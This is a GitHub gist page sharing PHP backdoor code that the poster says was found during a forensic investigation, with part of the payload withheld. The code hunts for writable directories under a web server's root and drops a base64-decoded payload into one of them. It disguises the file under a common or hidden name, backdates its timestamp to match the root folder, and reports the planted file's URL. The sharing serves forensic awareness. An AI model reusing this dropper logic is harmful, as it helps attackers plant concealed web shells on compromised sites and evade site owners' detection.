Created
March 17, 2015 06:06
-
-
Save jonaslejon/170bb3e83d8eacf389e3 to your computer and use it in GitHub Desktop.
PHP Upload backdoor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
The PHP backdoor code below was found during an forensic investigation, a part of the payload is not posted here. | |
*/ | |
$payload_name = ""; | |
srand(time()); | |
$common_names = Array( | |
"login", | |
"menu", | |
"model", | |
"object", | |
"option", | |
"options", | |
"page", | |
"plugin", | |
"press", | |
"proxy", | |
"search", | |
"session", | |
"sql", | |
"start", | |
"stats", | |
"system", | |
"template", | |
"test", | |
"themes", | |
"title", | |
"user", | |
"utf", | |
"view", | |
"xml", | |
"admin", | |
"ajax", | |
"alias", | |
"article", | |
"blog", | |
"cache", | |
"code", | |
"config", | |
"css", | |
"db", | |
"defines", | |
"diff", | |
"dir", | |
"dirs", | |
"dump", | |
"error", | |
"file", | |
"files", | |
"footer", | |
"functions", | |
"gallery", | |
"general", | |
"global", | |
"header", | |
"help", | |
"inc", | |
"include", | |
"info", | |
"ini", | |
"javascript", | |
"lib", | |
"list" | |
); | |
///////////////////////////////////////////////////////// | |
if (!function_exists('file_put_contents')) { | |
function file_put_contents($filename, $data) { | |
$f = @fopen($filename, 'w'); | |
if (!$f) { | |
return false; | |
} else { | |
$bytes = fwrite($f, $data); | |
fclose($f); | |
return $bytes; | |
} | |
} | |
} | |
function GetPathDiff($base_path, $full_path) | |
{ | |
$pos = strpos($full_path, $base_path); | |
if ($pos === FALSE) | |
{ | |
return FALSE; | |
} | |
return substr($full_path, $pos + strlen($base_path)); | |
} | |
function GetDirectoryList($dir, $prefix = '') { | |
$dir = rtrim($dir, '\\/'); | |
$result = array(); | |
$h = @opendir($dir); | |
if ($h === FALSE) | |
{ | |
return $result; | |
} | |
while (($f = readdir($h)) !== false) { | |
if ($f !== '.' and $f !== '..') { | |
if (is_dir("$dir/$f")) { | |
$result[] = "$dir/$f"; | |
$result = array_merge($result, GetDirectoryList("$dir/$f", "$prefix$f/")); | |
} | |
else | |
{ | |
} | |
} | |
} | |
closedir($h); | |
return $result; | |
} | |
function GetWritableDirs($dir_list) | |
{ | |
$dir_list_writable = Array(); | |
foreach ($dir_list as $dir) | |
{ | |
if (is_writable($dir) == TRUE) | |
{ | |
$dir_list_writable[] = $dir; | |
} | |
} | |
return $dir_list_writable; | |
} | |
function GetPayload($payload) | |
{ | |
$current_payload = base64_decode($payload); | |
return $current_payload; | |
} | |
function WritePayload($path, $payload) | |
{ | |
if (!file_exists($path)) | |
{ | |
if (file_put_contents($path, GetPayload($payload)) != FALSE) | |
{ | |
return TRUE; | |
} | |
} | |
return FALSE; | |
} | |
//////////////////////////////////////////////////////////////////////////////////////////// | |
# get base local and remote path | |
$base_www_path = $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']); | |
$base_local_path = ""; | |
if (strstr($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI']) != FALSE) | |
{ | |
$base_local_path = substr($_SERVER['SCRIPT_FILENAME'], 0, strpos($_SERVER['SCRIPT_FILENAME'], $_SERVER['REQUEST_URI'])); | |
} | |
else | |
{ | |
$base_local_path = $_SERVER['DOCUMENT_ROOT']; | |
} | |
if (!($base_local_path_time = stat($base_local_path."/.htaccess"))) | |
{ | |
if (!($base_local_path_time = stat($base_local_path."/index.php"))) | |
{ | |
if (!($base_local_path_time = stat($base_local_path."/index.html"))) | |
{ | |
if (!($base_local_path_time = stat($base_local_path."/.."))) | |
{ | |
if (!($base_local_path_time = stat($base_local_path))) | |
{ | |
} | |
} | |
} | |
} | |
} | |
$base_local_path_time = $base_local_path_time['mtime']; | |
# Get all writable directory list | |
$dir_list = Array($base_local_path); # don't forget root dir | |
$dir_list = array_unique(array_merge($dir_list, GetDirectoryList($base_local_path, $base_local_path . DIRECTORY_SEPARATOR))); | |
$dir_list_writable = GetWritableDirs($dir_list); | |
if (count($dir_list_writable) == 0) | |
{ | |
echo "STATUS_UNWRITABLE"; | |
exit(); | |
} | |
shuffle($dir_list_writable); | |
# try to upload | |
$max_tryes = strlen($payload_name) == 0 ? 5 : 1; | |
foreach ($dir_list_writable as $current_dir) | |
{ | |
// if payload name is set, no more one try to upload on current dir | |
for ($i=0; $i < $max_tryes; $i++) | |
{ | |
if (strlen($payload_name) == 0) | |
{ | |
$temp_payload_name = ""; | |
if (rand() % 2) # hidden attribute | |
{ | |
$temp_payload_name = "."; | |
} | |
$temp_payload_name .= $common_names[array_rand($common_names)]; | |
if (rand() % 2) # random number | |
{ | |
$temp_payload_name .= (rand() % 100); | |
} | |
$temp_payload_name .= ".php"; | |
} | |
else | |
{ | |
$temp_payload_name = $payload_name; | |
} | |
$full_payload_name = $current_dir . DIRECTORY_SEPARATOR . $temp_payload_name; | |
$uri_path = GetPathDiff($base_local_path, $full_payload_name); | |
$full_uri = $base_www_path . (strpos($uri_path, "/") == 0 ? $uri_path : "/".$uri_path); | |
if (WritePayload($full_payload_name, $payload_file)) | |
{ | |
touch($full_payload_name, $base_local_path_time); // set last modification time as root folder | |
echo "URL#http://" . $full_uri . PHP_EOL; | |
exit(); | |
} | |
} | |
} | |
echo "STATUS_CANTUPLOAD"; | |
exit(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment